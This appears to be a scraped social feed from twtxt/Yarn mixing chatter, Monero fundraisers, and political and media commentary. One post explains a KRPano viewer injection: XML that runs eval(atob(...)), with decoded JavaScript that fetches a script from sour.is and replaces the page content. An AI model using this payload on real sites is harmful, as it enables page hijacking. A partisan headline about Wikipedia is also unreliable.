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@prologic@twtxt.net chapter 5:

Chapter 3:

Chapter 4:

so dry.. haha this would put me to sleep

Chapter 1:
Chapter 2:

if you want a different voice let me know which to use: https://rhasspy.github.io/piper-samples/

i’m going to k-pop-ify the yarn verse. everyone look at miyawaki sakura or i will uh do server magic to make your CPU run worse or something

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@aelaraji@aelaraji.com That’s how twtxt started: As microblogging. Yarn shifted up some gears and now it’s more like social media – more powerful, but a bit different. 😅

Show HN: Seven39, a social media app that is only open for 3 hours every evening
I built this site as a quick test if a time boxed social media experience feels better than an endless one. So far I’ve just been using it with friends and it feels nice, but it seems like it is time to bring it to a larger audience.

Let me know what you think! It is just based on EST for now, sorry.

Comments URL: https://news.ycombinator.com/item?id=43328095

Points: 500

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10 Persistent Misconceptions About Africa
You know how some people think there is only New York or only California in the U.S.? The same kind of thing happens with Africa. Those who don’t live on the mother continent often have strange misconceptions about it. For example, Africa is a country. Log onto any social media platform, and you will find […]

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A SMART TOILET ON THE ROOF!

I hate to say it .. but we as a species have peaked at this moment. It’s all down hill from here.

@prologic@twtxt.net I formed my opinion about this before reading/watching any additional media coverage. And yes, this is extremely bad. These two have no place on the “world stage”. They are deciding on our future. (And I am well aware that my country is heading into a similar direction – unless we stop it.)

@lyse@lyse.isobeef.org

The big established parties are all bad traitors. I blame them and their actions to help raise AfD. They just [don’t?] give a fuck about the ordinary people, they’re only concerned about their private gain and power.

To a large degree, yes. But I think the media is also equally at fault. There was absolutely no reason to invite AfD people to every event and let them talk. This has been going on for over 10 years. When we give them a stage to spread their hate, are we really surprised that hate spreads … ?

I don’t know the answers to this desaster. I’m beginning to think that people literally just want an outlet for their frustration, nothing more. It’s not about what particular parties actually plan to do. At least I think this applies to people in their 30ies and 40ies.

The generative AI con
Everywhere you look, the media is telling you that OpenAI and their ilk are the future, that they’re building “advanced artificial intelligence” that can take “human-like actions,” but when you look at any of this shit for more than two seconds it’s abundantly clear that it absolutely isn’t and absolutely can’t. Despite the hype, the marketing, the tens of thousands of media articles, the trillions of dollars in market capitalization, none of this feels real, or at least real enough to s … ⌘ Read more

[ANN] Community Advertising Update
Links:

• https://farside.link/libreddit/r/monero/comments/1iq3et6/
  
• https://kuno.anne.media/fundraiser/r6az/
  

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[LFF] [6.55 XMR] Gupaxx development

Every monero given will be converted to hours of work. When a goal is attained, a new release will occur, including elements present in the roadmap. A release is about 20 hours of work. Bug fixing releases will not wait for a new funding goal to be completed.

Links:

• https://kuno.anne.media/fundraiser/dsrr/
  
• https://github.com/Cyrix126/gupaxx
  

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Ten of the Most Outlandish Influencers on Social Media
As any social media user knows, influencers are everywhere. Usually, they pester us with adverts and monetized content. But some take a stranger approach. These bizarre influencers refuse to fit the usual mold. Instead, they have built a following from their unexpected, genuinely original ideas. They are the true originals of the social media world: […]

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[WTS] [~0.37 XMR] Lenovo ThinkPad Carbon x1 gen2

Laptops are in good condition, battery can last several hours still, biggest defect is the Touch Bar (which includes the F1-F12 and media keys) is turning hazy and is not cosmetically pleasant. Touch Bar and thus keys all still work. Each laptop has a valid Windows 10 keys but I can also install Ubuntu or Debian upon request.

Link: https://xmrbazaar.com/listing/6zDp/

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This UX can be very frustrating.

Listening to a playlist kat made for me 7 months ago. It’s fun!!

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So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>

the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

oh also out of boredom i hosted glance even though i have no need for a dashboard lol. it’s really cute though

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@kat@yarn.girlonthemoon.xyz sticker status!!!!!

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Social media is in a worrying state. TikTok in the hands of autocratic China, X (formerly Twitter) in the hands of Elon Musk, who gets crazier every day and hangs out too much with Donald Trump (and recommends a fascist party in Germany), and now Mark Zuckerberg with Meta (Facebook, Instagram, Threads) is also joining the group of friends around Trump and removing fact checks in the name of “free speech”. What could possibly go wrong? ⌘ Read more

thanks to prologic i now know i can post video here. sorry for bringing idol fancams to this humble network do you still love me

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testing video posts here’s a yunjin fancam

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i should use my media goblin instance

image upload test. have a wonyoung

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10 Social Media Stunts That Ended in Arrests or Worse
Competition among social media influencers to gain subscribers is intense because more subscribers equals more advertisers, which, in turn, equals a bigger income. Partly for this reason, those who operate social media platforms sometimes perform ill-advised, reckless, and dangerous stunts. The ten social media stunts on this list led to arrests on various charges and, […]

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Bro.. Gitea I think you are drunk. How is Jan 2024 5 days ago?

DRM-Free, Downloadable Media is a Good Thing
The Lunduke Journal adds DRM-free MP4 downloads to the many ways to enjoy the show (Locals, YouTube, X, Rumble, Facebook, Patreon, & Podcast feeds). ⌘ Read more

On my blog: Devils, in Detail https://john.colagioia.net/blog/2024/12/15/devils-detail.html #ethics #harm #media #rant

Kaidan: Kaidan 0.10.1: Media Sharing and New Message Marker Fixes
This release fixes some bugs.
Have a look at the changelog for more details.

Bugfixes:

• Fix displaying files of each message in appropriate message bubble (melvo)
  
• Fix sending fallback messages for clients not supporting XEP-0447: Stateless file sharing (melvo)
  
• Fix margins within message bubbles (melvo)
  
• Fix hiding hidden message part (melvo)
  
• Fix displaying marker for new messages (melvo)
  

The End of Physical Media is Here (and That Sucks)
Blu-Ray is dead - everyone from Sony to LG is ceasing production – with no physical media alternative to take its place. ⌘ Read more

Btw about social: found very interesting thing about twitter:

The legal basis that X asserts in the filing is not terribly interesting. But what is interesting is that X has decided to involve itself at all, and it highlights that you do not own your followers or your account or anything at all on corporate social media, and it also highlights the fact that Elon Musk’s X is primarily a political project he is using to boost, or stifle, specific viewpoints and help his friends. In the filing, X’s lawyers essentially say—like many other software companies, and, increasingly, device manufacturers as well—that the company’s terms of service grant X’s users a “license” to use the platform but that, ultimately, X owns all accounts on the social network and can do anything that it wants with them.

Its time to brush up on your competitive programming skills!

https://cses.fi/book/book.pdf

[LFF] [1.2 XMR] Fundraiser for hosting the Monero archive for one more year

I have now been hosting the monero archive for more than a year now (started sometime in September 2023), I would like to keep on hosting it for one more year (at least). This fundraiser is for one more year of hosting. The price is the same at 0.1 XMR/month for hosting + maintenance.

Links:

• https://kuno.anne.media/fundraiser/yg9f/
  
• https://git.4rkal.com/
  
• [archiv32ihkwhf26umylx3u7tg … ⌘ Read more

Viral TikTok cucumber recipes drive up sales as younger Australians smash a salad
Cucumbers are this year’s unlikely viral sensation on social media, spurring a 30 per cent spike in sales among younger Australians and shortages in places like Iceland. ⌘ Read more

I wish I could view source twts like this to know if the root was not found and this was actually in reply to something i cant see.

[ANN] [CCS] Monero FCMP Video Draft

Please see ours and xenu’s video here about FCMP. We think it’s ready to get shared but looking forward to everyone’s feedback before we officially share it in the Social media channels.

Links:

• https://redirect.invidious.io/watch?v=1ZYMTbjoDaM
  
• MO report
  

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[LFF] [100 XMR] Ross Ulbricht Freedom Party

After coordinating with @DouglasTuman and @vikrantnyc, we have launched a freedom fund for the release of @RealRossU!

Links:

• https://farside.link/nitter/MgkMshrmBrkfst/status/1857974202072182843
  
• https://kuno.anne.media/fundraiser/olm1/
  

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Interesting list of features to protect users and communities on bluesky. I wonder if any make sense in text context.

Why is the rooted post after the replied post?? time shenanigans?

CNCF Presents Top End User Award to Adobe
A global digital media and marketing solutions leader has contributed to 46 CNCF projects and shared a reference architecture for its Internal Developer Platform SALT LAKE CITY, Utah – KubeCon + CloudNativeCon North America – November… ⌘ Read more

CREM kampaň o mediálnej gramotnosti „Čítaj medzi riadkami!”
Maglić, 12. november 2024 – Organizácia CREM (Creativa Media) z Maglića úspešne zrealizovala kampaň o mediálnej gramotnosti s názvom „Čítaj medzi riadkami!” v obci Báčsky Petrovec a okolí. Kampaň bola realizovaná na sociálnych sieťach Facebook a Instagram, ako aj prostredníctvom guerillovej akcie lepenia nálepiek s QR kódmi, ktoré vedú k vzdelávaciemu obsahu. Cieľom kampane bolo zvýšiť povedomie o dôl … ⌘ Read more

@prologic@twtxt.net what do we make of Labor’s proposed social media minimum age ban, I.e ID verification, and the likes of Yarn? I haven’t been able to find out exactly how far the legislation goes, but some have said it’s broad enough to include any site that even has a comment section 🤔 but that could be FUD.

Unfortunately the US media has been making it a nail biter on purpose when in reality it is not. Get out and vote in numbers that cannot be denied. And then get everyone else around you to vote also.

Maybe one day enough states will make it into the NaPo InterCo to finally put the EC to rest.

@bender@twtxt.net I try to avoid editing. I guess I would write 5/4, 6/4, etc, and hopefully my audience would be sympathetic to my failing.

Anyway, I don’t think my eccentric decision to number my twts in the style of other social media platforms is the only context where someone might write ¼ not meaning a quarter. E.g. January 4, to Americans.

I’m happy to keep overthinking this for as long as you are :-P

Wikipedia’s War on Israel, USA, & Truth
Pro-Hamas and Pro-Iran editors flood Wikipedia (& Google) with false data, while Wiki Media Foundation earns hundreds of millions of dollars. ⌘ Read more